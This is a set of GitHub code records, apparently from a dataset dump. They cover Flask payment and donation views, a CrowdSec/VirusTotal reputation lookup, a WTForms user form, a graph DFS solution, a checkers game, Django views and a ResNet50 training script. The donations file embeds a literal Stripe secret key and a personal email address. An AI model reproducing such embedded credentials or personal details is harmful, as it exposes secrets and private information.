5, command = convert_to)\nconvert_button.config(bg = \"#5b7771\",fg = \"#402e20\",font=(\"Comic Sans MS\",20,\"bold\"), activebackground = \"#bfb48d\")\nconvert_button.place(x = 330, y = 320)\n\nconverter.mainloop()","repo_name":"Bordei08/Python-course","sub_path":"Proiect/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2409,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"30526722244","text":"from flask import Blueprint , request, redirect,render_template,url_for , flash\nfrom flask_login import current_user\nfrom instagram_web.util.helpers import gateway\nfrom models.image import Image\nfrom models.user import User\nfrom models.donation import Donation\nimport stripe\nimport os\nimport requests\n\n\n\n\n\ndonations_blueprint=Blueprint(\"donations\",\n __name__,\n template_folder=\"templates\")\n\n\n\n@donations_blueprint.route('/new')\ndef new(image_id):\n print(image_id)\n client_token=gateway.client_token.generate()\n image=Image.get_by_id(int(image_id))\n\n\n return render_template('donations/new.html' , image=image ,client_token=client_token)\n\n\n@donations_blueprint.route('/' , methods=[\"POST\"])\ndef create(image_id):\n payload_nonce=request.form.get(\"payload_nonce\")\n payment_amount=request.form.get(\"payment_amount\")\n print(\"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\")\n print(payload_nonce)\n \n image=Image.get_by_id(int(image_id))\n user=User.get_by_id(current_user.id)\n\n\n result = gateway.transaction.sale({\n \"amount\": payment_amount,\n \"payment_method_nonce\": payload_nonce,\n \"device_data\": None,\n \"options\": {\n \"submit_for_settlement\": True\n }\n})\n if result.is_success:\n donation=Donation(amount=int(payment_amount), donor=user, image=image)\n donation.save()\n flash(f\"Thanks you for the RM{payment_amount} donation {current_user.username}\" , \"success\")\n def send_simple_message():\n \treturn requests.post(\n\t\t \"https://api.mailgun.net/v3/sandboxeaa30d1922044857bee3122cfe3ac0f9.mailgun.org/messages\",\n\t\t auth=(\"api\", os.environ.get(\"MAILGUN_PRIVATE_KEY\")),\n\t\t data={\"from\": \"Excited User \",\n\t\t\t \"to\": [\"weikhang_93@hotmail.com\"],\n\t\t\t \"subject\": \"Hello hahaha\",\n\t\t\t \"text\": \"changing the textailgun awesomness!\",\n \"html\":f\"
\"})\n\n\n print(send_simple_message())\n\n\n\n return redirect(url_for('images.show', image_id=image.id))\n\n\n@donations_blueprint.route('/stripe' , methods=[\"POST\"])\ndef stripenew(image_id):\n print(\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\")\n stripe.api_key=os.environ.get(\"STRIPE_API_KEY\")\n try:\n\n checkout_session = stripe.checkout.Session.create(\n payment_method_types=['card'],\n line_items=[\n {\n 'price_data': {\n 'currency': 'usd',\n 'unit_amount': 2000,\n 'product_data': {\n 'name': 'Stubborn Attachments',\n 'images': ['https://i.imgur.com/EHyR2nP.png'],\n },\n },\n 'quantity': 1,\n },\n ],\n mode='payment',\n success_url=f'https://localhost:5000/images/{image_id}/donations' + '/success.html',\n cancel_url=f'https://localhost:5000/images/{image_id}/donations' + '/cancel.html',\n )\n return jsonify({'id': checkout_session.id})\n except Exception as e:\n return jsonify(error=str(e)), 403\n\n\n@donations_blueprint.route(\"/success.html\")\ndef success(image_id):\n\n return render_template('donations/success.html')\n\n@donations_blueprint.route(\"/cancel.html\")\ndef cancel(image_id):\n\n return render_template('donations/cancel.html')\n\n\n@donations_blueprint.route('/checkout')\ndef checkout(image_id):\n image=Image.get_by_id(int(image_id))\n\n return render_template('donations/checkout.html' , image=image)\n\n\n@donations_blueprint.route('/testing')\ndef testing(image_id):\n stripe.api_key = 'sk_test_51HZvbqHyiZLRnqzJOLZZWOtFBAUiUuhzc4PpnGFbSsHXl3qgtF9AWMfENlstDaDL96LwZNgAhX5yIBjERvtFiyNA00DhvRazOn'\n\n result=stripe.PaymentIntent.create(\n amount=1000,\n currency='myr',\n payment_method_types=['card'],\n receipt_email='jenny.rosen@example.com',\n )\n\n print(result)\n \n\n return \"stripesssss\"","repo_name":"weikhang93/Flasktagram","sub_path":"instagram_web/blueprints/donations/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4292,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"13236548186","text":"import requests\nimport base64\n\n\ndef fetch_crowd_sec_ip_record(ip: str, api_key: str) -> dict[str, any]:\n \"\"\"\n Submits an ip to the CrowdSec API to see if it is deemed suspicious.\n\n Parameters:\n ip: The ip address of the server from the TLS Request.\n api_key: The CrowdSec API Key from the config file.\n\n Returns:\n The raw response from CrowdSec as a parsed JSON object.\n \"\"\"\n headers = {\"x-api-key\": api_key}\n url = f\"https://cti.api.crowdsec.net/v2/smoke/{ip}\"\n response = requests.get(url, headers=headers)\n json_response = response.json()\n if json_response.get(\"message\") != None:\n return None\n else:\n return response.json()\n\n\ndef fetch_virus_total_record(hostname: str, api_key: str) -> dict[str, any]:\n \"\"\"\n Submits the hostname to the VirusTotal API to see if it is deemed malicious.\n\n Parameters:\n hostname: The hostname from the TLS Request.\n api_key: The Virus Total API Key from the config file.\n\n Returns:\n The raw response from Virus Total as a parsed JSON object.\n \"\"\"\n headers = {\"x-apikey\": api_key}\n encoded_hostname = base64.b64encode(hostname.encode(\"utf8\")).decode(\"utf8\").replace(\"=\", \"\")\n url = f\"https://www.virustotal.com/api/v3/urls/{encoded_hostname}\"\n response = requests.get(url, headers=headers)\n\n return response.json()","repo_name":"mmacfadden/csc-842-sm23","sub_path":"cycle-8/lib/threat_intel.py","file_name":"threat_intel.py","file_ext":"py","file_size_in_byte":1301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"15701639975","text":"import datetime\n\nfrom wtforms import StringField, PasswordField, SelectField, FileField, RadioField, BooleanField, DateTimeField, SubmitField, SelectMultipleField, HiddenField\nfrom wtforms.validators import DataRequired, Email, MacAddress, IPAddress, URL\nfrom bluecat.wtform_extensions import GatewayForm, validate_element_in_tuple\nfrom bluecat.wtform_fields import *\n\nclass GenericFormTemplate(GatewayForm):\n # When updating the form, remember to make the corresponding changes to the workflow pages\n workflow_name = 'create_address_manager_user'\n workflow_permission = 'create_address_manager_user_page'\n\n username = CustomStringField(\n label='Username',\n is_disabled_on_start=False,\n required=True,\n validators=[]\n )\n\n password = PasswordField(\n label='Password',\n validators=[DataRequired()]\n )\n\n email = CustomStringField(\n label='Email Address',\n is_disabled_on_start=False,\n required=True,\n validators=[DataRequired(), Email()]\n )\n\n phonenumber = CustomStringField(\n label='Phone Number',\n is_disabled_on_start=False,\n required=False,\n )\n\n typeofuser = CustomSelectField(\n label='Type of User',\n is_disabled_on_start=False,\n # Below are the API values followed by GUI values\n choices=[('ADMIN', 'Administrator'), ('REGULAR', 'Non-Administrator')],\n clear_below_on_change=False,\n #Javascript call below to enable/disable secpriv and histpriv\n on_complete = ['is_admin']\n )\n\n secpriv = NoPreValidationSelectField(\n label='Security Privilege',\n # Below are the API values followed by GUI values\n choices=[ ('NO_ACCESS', 'No Access'), ('VIEW_MY_ACCESS_RIGHTS', 'View My Access Rights'), ('VIEW_OTHERS_ACCESS_RIGHTS', 'View Others Access Rights'), ('CHANGE_ACCESS_RIGHTS', 'Change Access Rights'), ('ADD_ACCESS_RIGHTS', 'Add Access Rights'), ('DELETE_ACCESS_RIGHTS', 'Delete Access Rights')]\n )\n\n histpriv = NoPreValidationSelectField(\n label='History Privilege',\n # Below are the API values followed by GUI values\n choices=[('HIDE', 'Hide'), ('VIEW_HISTORY_LIST', 'View History List')]\n )\n\n acctype = CustomSelectField(\n label='Access Type',\n # Below are the API values followed by GUI values\n choices=[('GUI', 'GUI'), ('API', 'API'), ('GUI_AND_API', 'GUI And API')],\n clear_below_on_change=False,\n is_disabled_on_start=False\n )\n\n #List of all Gateway groups (UDFs) for users manually, no API\n gateway_groups = CustomSelectField(\n label='Assign to Gateway Group',\n required=False,\n # Below are the UDF values for workflow permissions followed by GUI values\n choices=[('admin', 'admin'), ('all', 'all')],\n clear_below_on_change=False,\n is_disabled_on_start=False,\n result_decorator = None\n )\n\n #List of all Address Manager Groups by API\n usergroups = SelectMultipleField(\n 'Assign to Groups',\n coerce=int\n )\n\n submit = SubmitField(label='Submit')","repo_name":"bluecatlabs/gateway-workflows","sub_path":"Community/create_address_manager_user/create_address_manager_user_form.py","file_name":"create_address_manager_user_form.py","file_ext":"py","file_size_in_byte":3106,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"91"}
+{"seq_id":"28597255347","text":"'''\n\n* 유형\n DFS, BFS\n\n* 체감 난이도\n *\n\n* 풀이\n 모든 노드에 대해 그래프 탐색을 실시하면 몇 개의 연결된 덩어리가 나오는지 알 수 있음.\n\n 이미 방문이 된 노드는 그 노드로부터 탐색을 할 이유가 없으므로 넘어가고\n 방문이 안 된 노드만 탐색을 하며 체크를 해주면 연결된 네트워크를 모두 체크할 수 있다.\n\n\n'''\n\n\ndef solution(n, computers):\n answer = 0\n graph = {com+1:[] for com in range(n)}\n [[graph[v1+1].append(v2+1) if conn == 1 and v1!=v2 else None for v2, conn in enumerate(l)] for v1, l in enumerate(computers)]\n check = {i+1:False for i in range(len(computers))}\n\n def dfs(here):\n check[here] = True\n [dfs(there) if not check[there] else None for there in graph[here]]\n\n for v in graph:\n if not check[v]:\n answer += 1\n dfs(v)\n return answer","repo_name":"hhebb/algorithm","sub_path":"week_1 [1~8]/네트워크.py","file_name":"네트워크.py","file_ext":"py","file_size_in_byte":925,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"41393999440","text":"from Matrix import Matrix\nfrom Matrix import matrix\np=matrix()\n\nclass Jugador1:\n def variable(self,movimientoDerecha,movimientoIzquierda,cutderecha,cutizquierda):\n self.x=[]\n self.y=[]\n self.respuesta=[]\n self.movimientoDerecha=movimientoDerecha\n self.movimientoIzquierda=movimientoIzquierda\n self.cutderecha=cutderecha\n self.cutizquierda=cutizquierda\n def movimientoJ1(self):\n self.movimientoDerecha=False\n self.movimientoIzquierda=False\n self.cutderecha=False\n self.cutizquierda=False\n respuesta=\" \"\n print(\"X turno \")\n x = int(input(\"Entra el numero fila:\"))\n y = int(input(\"Entra el numero columna:\"))\n if (str(Matrix[x][y]) == \"X\"):\n if (not y == 7 and not y == 0):\n\n if (str(Matrix[x + 1][y + 1]) == \" \"):\n self.movimientoIzquierda = True\n if (str(Matrix[x + 1][y - 1]) == \" \"):\n self.movimientoIzquierda = True\n elif (y == 7):\n if (str(Matrix[x + 1][y - 1]) == \" \"):\n self.movimientoDerecha = True\n else:\n if (str(Matrix[x + 1][y + 1]) == \" \"):\n self.movimientoDerecha = True\n if (not y > 5 and not y < 2):\n if (str(Matrix[x + 1][y + 1]) == \"O\" and not str(Matrix[x + 2][y + 2]) == \"O\" and not str(\n Matrix[x + 2][y + 2]) == \"X\"):\n self.cutderecha = True\n if (str(Matrix[x + 1][y - 1]) == \"O\" and not str(Matrix[x + 2][y - 2]) and not str(\n Matrix[x + 2][y - 2]) == \"X\"):\n self.cutizquierda = True\n elif(y>5):\n if(str(Matrix[x+1][y+1])==\"O\"and not str(Matrix[x+2][y+2])==\"O\"and not str(Matrix[x+2][y-2])==\"X\"):\n self.cutizquierda=True\n else:\n if(str(Matrix[x+1][y+1])==\"O\"and not str(Matrix[x+2][x-2])==\"O\"and not str(Matrix[x+2][y+2])==\"X\"):\n self.cutderecha=True\n if(any([self.cutizquierda,self.cutderecha])):\n self.movimientoIzquierda=False\n self.movimientoDerecha=False\n if(any([self.movimientoIzquierda,self.movimientoDerecha])):\n if(self.movimientoIzquierda):\n if(self.movimientoDerecha):\n respuesta=input(\"Movimiento Derecha o Izquierda ?, Si es Derecha o Izquierda , si es Derecha responder con D y si es Izquierda con I\")\n respuesta=respuesta.upper()\n else:\n respuesta=\"I\"\n else:\n respuesta=\"D\"\n if(any([respuesta==\"D\",respuesta==\"I\"])):\n if(respuesta==\"D\"):\n Matrix[x+1][y+1]=\"x\"\n Matrix[x][y]=\" \"\n p.printMatrix(Matrix)\n else:\n Matrix[x+1][y-1]=\"x\"\n Matrix[x][y]=\" \"\n p.printMatrix(Matrix)\n if(any([respuesta==\"D\",respuesta==\"I\"])):\n if(respuesta==\"D\"):\n Matrix[x+1][y+1]=\" \"\n Matrix[x][y]=\"x\"\n p.printMatrix(Matrix)\n else:\n Matrix[x+1][y-1]=\" \"\n Matrix[x][y]=\"x\"\n p.printMatrix(Matrix)\n elif(any([self.cutizquierda,self.cutderecha])):\n if(self.cutizquierda):\n if(self.cutderecha):\n respuesta=input(\"Movimiento Derecha o Izquierda,si es Derecha responder con D y si es Izquierda con I\")\n respuesta=respuesta.upper()\n else:\n respuesta=\"D\"\n else:\n respuesta=\"I\"\n if(any([respuesta==\"D\",respuesta==\"L\"])):\n if(respuesta==\"D\"):\n Matrix[x+1][y+1]=\" \"\n Matrix[x+2][y+2]=\"x\"\n Matrix[x][y]=\" \"\n else:\n Matrix[x+1][y-1]=\" \"\n Matrix[x+2][y-2]=\"x\"\n Matrix[x][y]=\" \"\n p.printMatrix(Matrix)\n\n if(not y>5 and not y<2):\n if(str(Matrix[x+1][y+1])==\"O\" and not str(Matrix[x+2][y+2])==\"O\" and not str(Matrix[x+2][y+2])==\"X\"):\n self.cutderecha=True\n if(str(Matrix[x+1][y-1])==\"O\"and not str(Matrix[x+2][y-2])==\"O\" and not str(Matrix[x+2][y-2])==\"X\"):\n self.cutizquierda=True\n elif(y>5):\n if(str(Matrix[x+1][y-1])==\"O\"and not str(Matrix[x+2][y-2])==\"O\" and not str(Matrix[x+2][y-2])==\"X\"):\n self.cutderecha=True\n else:\n if(str(Matrix[x+1][y+1])==\"O\" and not str(Matrix[x+2][y+2])==\"O\" and not str(Matrix[x+2][y+2])==\"X\"):\n self.cutizquierda=True\n\n\n else:\n print(\"Movimiento Invalido\")\n self.movimientoJ1()\n else:\n print(\"No es correcto\")\n self.movimientoJ1()\n","repo_name":"romanfh1998i/DamasFinalMiniProyecto","sub_path":"MovimientoX.py","file_name":"MovimientoX.py","file_ext":"py","file_size_in_byte":5965,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"7611919587","text":"import os\n\npath_list_IDs = \"/home/leo/Dropbox/CNN for affordances detection/Validation_shapenet_32.txt\"\nf = open(path_list_IDs)\nlist_IDs = f.read().splitlines()\nf.close()\npath_root = '/media/leo/Datos/Datasets/Training_32/Validation'\nfor i, name in enumerate(list_IDs):\n print('con nombre: ',path_root+'/X/'+name+\".npy\")\n\n try:\n os.isfile(path_root+'/X/'+name+\".npy\")\n except:\n print('The file do not exits')\n try:\n os.isfile(path_root+'/Y/'+name+\".npy\")\n except:\n print('The file do not exits')\n\n\n\n","repo_name":"hideldt/SCBOV","sub_path":"Networks/PCN/eliminar_archivos.py","file_name":"eliminar_archivos.py","file_ext":"py","file_size_in_byte":542,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"1348292403","text":"from django.shortcuts import render\nfrom .forms import ApplicationForm, ContactForm\nfrom .models import Form\nfrom django.contrib import messages\nfrom django.core.mail import EmailMessage\nfrom decouple import config\n\n\nEMAIL_HOST_USER = config(\"EMAIL_HOST_USER\")\n\n\ndef index(request):\n if request.method == \"POST\":\n form = ApplicationForm(request.POST)\n if form.is_valid():\n first_name = form.cleaned_data[\"first_name\"]\n last_name = form.cleaned_data[\"last_name\"]\n email = form.cleaned_data[\"email\"]\n date = form.cleaned_data[\"date\"]\n status = form.cleaned_data[\"status\"]\n\n # Store data in the database \n Form.objects.create(first_name=first_name, last_name=last_name,\n email=email, date=date, status=status)\n \n message_body = f\"A new job application was submitted! \\n{first_name} {last_name} \\nThank you!\"\n email_message = EmailMessage(\"Form submission confirmation\", message_body, to=[email])\n email_message.send()\n \n # Show a message after submitting a form \n messages.success(request, \"Form submitted successfully!\")\n\n return render(request, \"index.html\")\n\n\ndef about(request):\n return render(request, \"about.html\")\n\n\ndef contact(request):\n if request.method == \"POST\":\n form = ContactForm(request.POST)\n if form.is_valid():\n first_name = form.cleaned_data[\"first_name\"]\n last_name = form.cleaned_data[\"last_name\"]\n email = form.cleaned_data[\"email\"]\n subject = form.cleaned_data[\"subject\"]\n message = form.cleaned_data[\"message\"]\n\n message_body = f\"{subject}. From: {email} \\n{message} \\n{first_name} {last_name}\"\n email_message = EmailMessage(\"New message\", message_body, to=[EMAIL_HOST_USER])\n email_message.send()\n\n messages.success(request, \"Your message was successfully submitted! Thank you!\")\n return render(request, \"contact.html\")\n","repo_name":"alinatussupova/django_job_form_application","sub_path":"job_application/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2084,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"91"}
+{"seq_id":"23386956608","text":"from tensorflow.keras.preprocessing.image import ImageDataGenerator\nimport tensorflow as tf\nimport tensorflow_addons as tfa\nimport os\nimport zipfile\nimport numpy as np\nimport numpy as np\nimport random\nfrom tensorflow.keras import layers\nfrom tensorflow.keras import Model\nfrom tensorflow.keras.optimizers import Adam\nimport keras_tuner as kt\nimport numpy as np\nimport warnings\n\nfrom tensorflow.keras.layers import Input\nfrom tensorflow.keras import layers\nfrom tensorflow.keras.layers import Dense\nfrom tensorflow.keras.layers import Activation\nfrom tensorflow.keras.layers import Flatten\nfrom tensorflow.keras.layers import Conv2D\nfrom tensorflow.keras.layers import MaxPooling2D\nfrom tensorflow.keras.layers import GlobalMaxPooling2D\nfrom tensorflow.keras.layers import ZeroPadding2D\nfrom tensorflow.keras.layers import AveragePooling2D\nfrom tensorflow.keras.layers import GlobalAveragePooling2D\nfrom tensorflow.keras.layers import BatchNormalization\nfrom tensorflow.keras.models import Model\nfrom tensorflow.keras.preprocessing import image\nimport tensorflow.keras.backend as K\n#from tensorflow.keras.utils import layer_utils\n#from keras.utils.data_utils import get_file\nfrom tensorflow.keras.applications.imagenet_utils import decode_predictions\nfrom tensorflow.keras.applications.imagenet_utils import preprocess_input\n#from tensorflow.keras.applications.imagenet_utils import _obtain_input_shape\n#from tensorflow.keras.engine.topology import get_source_inputs\n\n\n\n\n#RESNET 50 CODE FROM https://github.com/fchollet/deep-learning-models/blob/master/resnet50.py\n\n\n\n\ndatastuff = np.load(\"/cosma5/data/durham/dc-will10/CNNtensors.npz\")\ntrain_dataset = datastuff[\"traindata\"]\ntest_dataset = datastuff[\"testdata\"]\nos.environ['TF_FORCE_GPU_ALLOW_GROWTH'] = 'true'\ntrainlabels = datastuff[\"trainlabels\"]\nvallabels = datastuff[\"vallabels\"]\n\"\"\"\nprint(np.shape(trainlabels))\nfulldata = tf.concat([train_dataset, test_dataset], axis = 0)\nfulllabels = tf.concat([trainlabels, vallabels], axis = 0)\ntrainsplit = 0.6\nvalind = int(round(trainsplit*len(fulldata)))\nprint(valind)\ntest_dataset = fulldata[valind:-1]\ntrain_dataset = fulldata[0:valind]\nvallabels = fulllabels[valind:-1]\ntrainlabels = fulllabels[0:valind]\n#dataslice = tf.slice(train_dataset, int(0.8*len(train_dataset)),len(train_dataset) - int(0.8*len(train_dataset)))\n#labelslice = tf.slice(trainlabels, int(0.8*len(trainlabels)), len(trainlabels) - int(0.8*len(trainlabels)))\n\"\"\"\nprint(np.shape(trainlabels))\nprint(np.shape(vallabels))\nprint(np.shape(train_dataset))\nprint(np.shape(test_dataset))\nprint(\"TENSORS LOADED\")\n\"\"\"\nnewtrain = train_dataset\nnewlabels = trainlabels\nextratrain = []\nextralabels = []\nfor i in range(10000):\n r = np.random.randint(0, len(newtrain))\n lab = newlabels[r]\n theta = [90,180,270]\n r2 = np.random.randint(0,3)\n random_bit = random.getrandbits(1)\n random_bit2 = random.getrandbits(1)\n flip_h = bool(random_bit)\n flip_v = bool(random_bit2)\n augmented = ImageDataGenerator().apply_transform(x = newtrain[r], transform_parameters = {\"flip_horizontal\":flip_h, \"flip_vertical\":flip_v})\n augmented = augmented\n lab = lab\n extratrain.append(augmented)\n extralabels.append(lab)\n print(i)\nprint(np.shape(extratrain))\nprint(np.shape(extralabels))\nextratrain = np.array(extratrain)\nextralabels = np.array(extralabels)\nnp.savez(\"extradata.npz\", data = extratrain, labels = extralabels)\nimport pdb ; pdb.set_trace()\nextratrain = tf.convert_to_tensor(extratrain)\nextralabels = tf.convert_to_tensor(extralabels)\n\nnewtrain = tf.concat([newtrain,extratrain], axis = 0)\nnewlabels = tf.concat([newlabels, extralabels], axis = 0)\nprint(tf.shape(newtrain))\n\"\"\"\n\n\nWEIGHTS_PATH = 'https://github.com/fchollet/deep-learning-models/releases/download/v0.2/resnet50_weights_tf_dim_ordering_tf_kernels.h5'\nWEIGHTS_PATH_NO_TOP = 'https://github.com/fchollet/deep-learning-models/releases/download/v0.2/resnet50_weights_tf_dim_ordering_tf_kernels_notop.h5'\n\n\ndef identity_block(input_tensor, kernel_size, filters, stage, block):\n \"\"\"The identity block is the block that has no conv layer at shortcut.\n # Arguments\n input_tensor: input tensor\n kernel_size: defualt 3, the kernel size of middle conv layer at main path\n filters: list of integers, the filterss of 3 conv layer at main path\n stage: integer, current stage label, used for generating layer names\n block: 'a','b'..., current block label, used for generating layer names\n # Returns\n Output tensor for the block.\n \"\"\"\n filters1, filters2, filters3 = filters\n if K.image_data_format() == 'channels_last':\n bn_axis = 3\n else:\n bn_axis = 1\n conv_name_base = 'res' + str(stage) + block + '_branch'\n bn_name_base = 'bn' + str(stage) + block + '_branch'\n\n x = Conv2D(filters1, (1, 1), name=conv_name_base + '2a')(input_tensor)\n x = BatchNormalization(axis=bn_axis, name=bn_name_base + '2a')(x)\n x = Activation('relu')(x)\n\n x = Conv2D(filters2, kernel_size,\n padding='same', name=conv_name_base + '2b')(x)\n x = BatchNormalization(axis=bn_axis, name=bn_name_base + '2b')(x)\n x = Activation('relu')(x)\n\n x = Conv2D(filters3, (1, 1), name=conv_name_base + '2c')(x)\n x = BatchNormalization(axis=bn_axis, name=bn_name_base + '2c')(x)\n\n x = layers.add([x, input_tensor])\n x = Activation('relu')(x)\n return x\n\n\ndef conv_block(input_tensor, kernel_size, filters, stage, block, strides=(2, 2)):\n \"\"\"conv_block is the block that has a conv layer at shortcut\n # Arguments\n input_tensor: input tensor\n kernel_size: defualt 3, the kernel size of middle conv layer at main path\n filters: list of integers, the filterss of 3 conv layer at main path\n stage: integer, current stage label, used for generating layer names\n block: 'a','b'..., current block label, used for generating layer names\n # Returns\n Output tensor for the block.\n Note that from stage 3, the first conv layer at main path is with strides=(2,2)\n And the shortcut should have strides=(2,2) as well\n \"\"\"\n filters1, filters2, filters3 = filters\n if K.image_data_format() == 'channels_last':\n bn_axis = 3\n else:\n bn_axis = 1\n conv_name_base = 'res' + str(stage) + block + '_branch'\n bn_name_base = 'bn' + str(stage) + block + '_branch'\n\n x = Conv2D(filters1, (1, 1), strides=strides,\n name=conv_name_base + '2a')(input_tensor)\n x = BatchNormalization(axis=bn_axis, name=bn_name_base + '2a')(x)\n x = Activation('relu')(x)\n\n x = Conv2D(filters2, kernel_size, padding='same',\n name=conv_name_base + '2b')(x)\n x = BatchNormalization(axis=bn_axis, name=bn_name_base + '2b')(x)\n x = Activation('relu')(x)\n\n x = Conv2D(filters3, (1, 1), name=conv_name_base + '2c')(x)\n x = BatchNormalization(axis=bn_axis, name=bn_name_base + '2c')(x)\n\n shortcut = Conv2D(filters3, (1, 1), strides=strides,\n name=conv_name_base + '1')(input_tensor)\n shortcut = BatchNormalization(axis=bn_axis, name=bn_name_base + '1')(shortcut)\n\n x = layers.add([x, shortcut])\n x = Activation('relu')(x)\n return x\n\n\ndef ResNet50(include_top=True, weights='imagenet',\n input_tensor=None, input_shape=None,\n pooling=None,\n classes=1000):\n \"\"\"Instantiates the ResNet50 architecture.\n Optionally loads weights pre-trained\n on ImageNet. Note that when using TensorFlow,\n for best performance you should set\n `image_data_format=\"channels_last\"` in your Keras config\n at ~/.keras/keras.json.\n The model and the weights are compatible with both\n TensorFlow and Theano. The data format\n convention used by the model is the one\n specified in your Keras config file.\n # Arguments\n include_top: whether to include the fully-connected\n layer at the top of the network.\n weights: one of `None` (random initialization)\n or \"imagenet\" (pre-training on ImageNet).\n input_tensor: optional Keras tensor (i.e. output of `layers.Input()`)\n to use as image input for the model.\n input_shape: optional shape tuple, only to be specified\n if `include_top` is False (otherwise the input shape\n has to be `(224, 224, 3)` (with `channels_last` data format)\n or `(3, 224, 244)` (with `channels_first` data format).\n It should have exactly 3 inputs channels,\n and width and height should be no smaller than 197.\n E.g. `(200, 200, 3)` would be one valid value.\n pooling: Optional pooling mode for feature extraction\n when `include_top` is `False`.\n - `None` means that the output of the model will be\n the 4D tensor output of the\n last convolutional layer.\n - `avg` means that global average pooling\n will be applied to the output of the\n last convolutional layer, and thus\n the output of the model will be a 2D tensor.\n - `max` means that global max pooling will\n be applied.\n classes: optional number of classes to classify images\n into, only to be specified if `include_top` is True, and\n if no `weights` argument is specified.\n # Returns\n A Keras model instance.\n # Raises\n ValueError: in case of invalid argument for `weights`,\n or invalid input shape.\n \"\"\"\n if weights not in {'imagenet', None}:\n raise ValueError('The `weights` argument should be either '\n '`None` (random initialization) or `imagenet` '\n '(pre-training on ImageNet).')\n\n if weights == 'imagenet' and include_top and classes != 1000:\n raise ValueError('If using `weights` as imagenet with `include_top`'\n ' as true, `classes` should be 1000')\n\n # Determine proper input shape\n #input_shape = tf.keras.applications.imagenet_utils._obtain_input_shape(input_shape,\n # default_size=224,\n # min_size=197,\n # data_format=K.image_data_format(),\n # include_top=include_top)\n input_shape = (224,224,5)\n if input_tensor is None:\n img_input = Input(shape=input_shape)\n else:\n if not K.is_keras_tensor(input_tensor):\n img_input = Input(tensor=input_tensor, shape=input_shape)\n else:\n img_input = input_tensor\n if K.image_data_format() == 'channels_last':\n bn_axis = 3\n else:\n bn_axis = 1\n\n x = ZeroPadding2D((3, 3))(img_input)\n x = Conv2D(64, (7, 7), strides=(2, 2), name='conv1')(x)\n x = BatchNormalization(axis=bn_axis, name='bn_conv1')(x)\n x = Activation('relu')(x)\n x = MaxPooling2D((3, 3), strides=(2, 2))(x)\n\n x = conv_block(x, 3, [64, 64, 256], stage=2, block='a', strides=(1, 1))\n x = identity_block(x, 3, [64, 64, 256], stage=2, block='b')\n x = identity_block(x, 3, [64, 64, 256], stage=2, block='c')\n\n x = conv_block(x, 3, [128, 128, 512], stage=3, block='a')\n x = identity_block(x, 3, [128, 128, 512], stage=3, block='b')\n x = identity_block(x, 3, [128, 128, 512], stage=3, block='c')\n x = identity_block(x, 3, [128, 128, 512], stage=3, block='d')\n\n x = conv_block(x, 3, [256, 256, 1024], stage=4, block='a')\n x = identity_block(x, 3, [256, 256, 1024], stage=4, block='b')\n x = identity_block(x, 3, [256, 256, 1024], stage=4, block='c')\n x = identity_block(x, 3, [256, 256, 1024], stage=4, block='d')\n x = identity_block(x, 3, [256, 256, 1024], stage=4, block='e')\n x = identity_block(x, 3, [256, 256, 1024], stage=4, block='f')\n\n x = conv_block(x, 3, [512, 512, 2048], stage=5, block='a')\n x = identity_block(x, 3, [512, 512, 2048], stage=5, block='b')\n x = identity_block(x, 3, [512, 512, 2048], stage=5, block='c')\n\n x = AveragePooling2D((7, 7), name='avg_pool')(x)\n\n if include_top:\n x = Flatten()(x)\n x = Dense(classes, name='fc1000')(x)\n else:\n if pooling == 'avg':\n x = GlobalAveragePooling2D()(x)\n elif pooling == 'max':\n x = GlobalMaxPooling2D()(x)\n\n # Ensure that the model takes into account\n # any potential predecessors of `input_tensor`.\n if input_tensor is not None:\n inputs = tf.keras.engine.topology.get_source_inputs(input_tensor)\n else:\n inputs = img_input\n # Create model.\n model = Model(inputs, x, name='resnet50')\n\n # load weights\n if weights == 'imagenet':\n if include_top:\n weights_path = tf.keras.utils.data_utils.get_file('resnet50_weights_tf_dim_ordering_tf_kernels.h5',\n WEIGHTS_PATH,\n cache_subdir='models',\n md5_hash='a7b3fe01876f51b976af0dea6bc144eb')\n else:\n weights_path = tf.keras.utils.data_utils.get_file('resnet50_weights_tf_dim_ordering_tf_kernels_notop.h5',\n WEIGHTS_PATH_NO_TOP,\n cache_subdir='models',\n md5_hash='a268eb855778b3df3c7506639542a6af')\n model.load_weights(weights_path)\n if K.backend() == 'theano':\n tf.keras.utilslayer_utils.convert_all_kernels_in_model(model)\n\n if K.image_data_format() == 'channels_first':\n if include_top:\n maxpool = model.get_layer(name='avg_pool')\n shape = maxpool.output_shape[1:]\n dense = model.get_layer(name='fc1000')\n tf.keras.utilslayer_utils.convert_dense_weights_data_format(dense, shape, 'channels_first')\n\n if K.backend() == 'tensorflow':\n warnings.warn('You are using the TensorFlow backend, yet you '\n 'are using the Theano '\n 'image data format convention '\n '(`image_data_format=\"channels_first\"`). '\n 'For best performance, set '\n '`image_data_format=\"channels_last\"` in '\n 'your Keras config '\n 'at ~/.keras/keras.json.')\n return model\n\nepochs = 200\n#batch_size = 300\nmodel = ResNet50(include_top=True, weights=None,\n input_tensor=None, input_shape=(224,224,5),\n pooling=None,\n classes=16)\noptimizer = Adam(lr=0.0001)\n\nmodel.compile(optimizer = optimizer , loss = tf.keras.losses.MeanSquaredError(), metrics=[\"mean_absolute_error\"])\nhistory = model.fit(x = train_dataset, y = trainlabels, validation_data = (test_dataset, vallabels), epochs = epochs)\nmodel.save(\"/cosma/home/durham/dc-will10/CNNmodelRes\")\nval_results = []\nfor data in 